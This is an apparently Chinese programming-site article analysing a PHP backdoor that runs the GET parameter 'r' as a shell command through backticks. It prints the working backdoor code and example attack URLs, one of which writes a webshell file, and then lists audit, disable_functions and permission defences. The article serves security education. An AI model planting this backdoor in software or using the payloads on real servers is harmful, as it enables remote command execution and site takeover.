首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 隱蔽後門分析:反引號 ` 實現命令執行

     編輯:PHP 綜合知識

極具欺騙性的 PHP 後門代碼

以下代碼乍看無異常,實則包含致命後門:

$selfNums = $_GET['r'];
if (isset($selfNums)) {
    echo `$selfNums`;
}

核心機制揭秘

關鍵在於變量外層的 反引號 `(鍵盤 Esc 下方、數字 1 左側鍵),非單引號。

  • PHP 中 `command` 等同於 shell_exec('command')
  • 直接執行系統命令並返回輸出
  • 極易被管理員忽略,因視覺上像字串包裹

攻擊驗證

# 列出目錄
https://127.0.0.1/t.php?r=dir

# 寫入 webshell
https://127.0.0.1/t.php?r=echo ^ ^>^> D:\web\90sec.php

已在 AppServ、共享虛擬主機環境驗證成功執行。

防範措施

層面措施
代碼審計掃描反引號 `、shell_exec、exec、system、passthru、proc_open、popen
禁用函數disable_functions = exec,shell_exec,system,passthru,proc_open,popen,` (php.ini)
權限控制Web 目錄禁止寫入、執行權限分離、open_basedir 限制
輸入驗證嚴格白名單驗證所有用戶輸入,拒絕命令注入特徵
文件完整性部署文件雜湊驗證,定期掃描異常文件

安全運維建議

  • 定期掃描代碼庫中的危險函數與反引號
  • 使用靜態分析工具(PHPStan、Psalm、RIPS)自動化檢測
  • 建立文件變更監控告警機制
  • 最小權限原則運行 Web 服務進程

此類後門利用語法特性而非漏洞,極難被常規 WAF 攔截,代碼層面防禦最關鍵。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved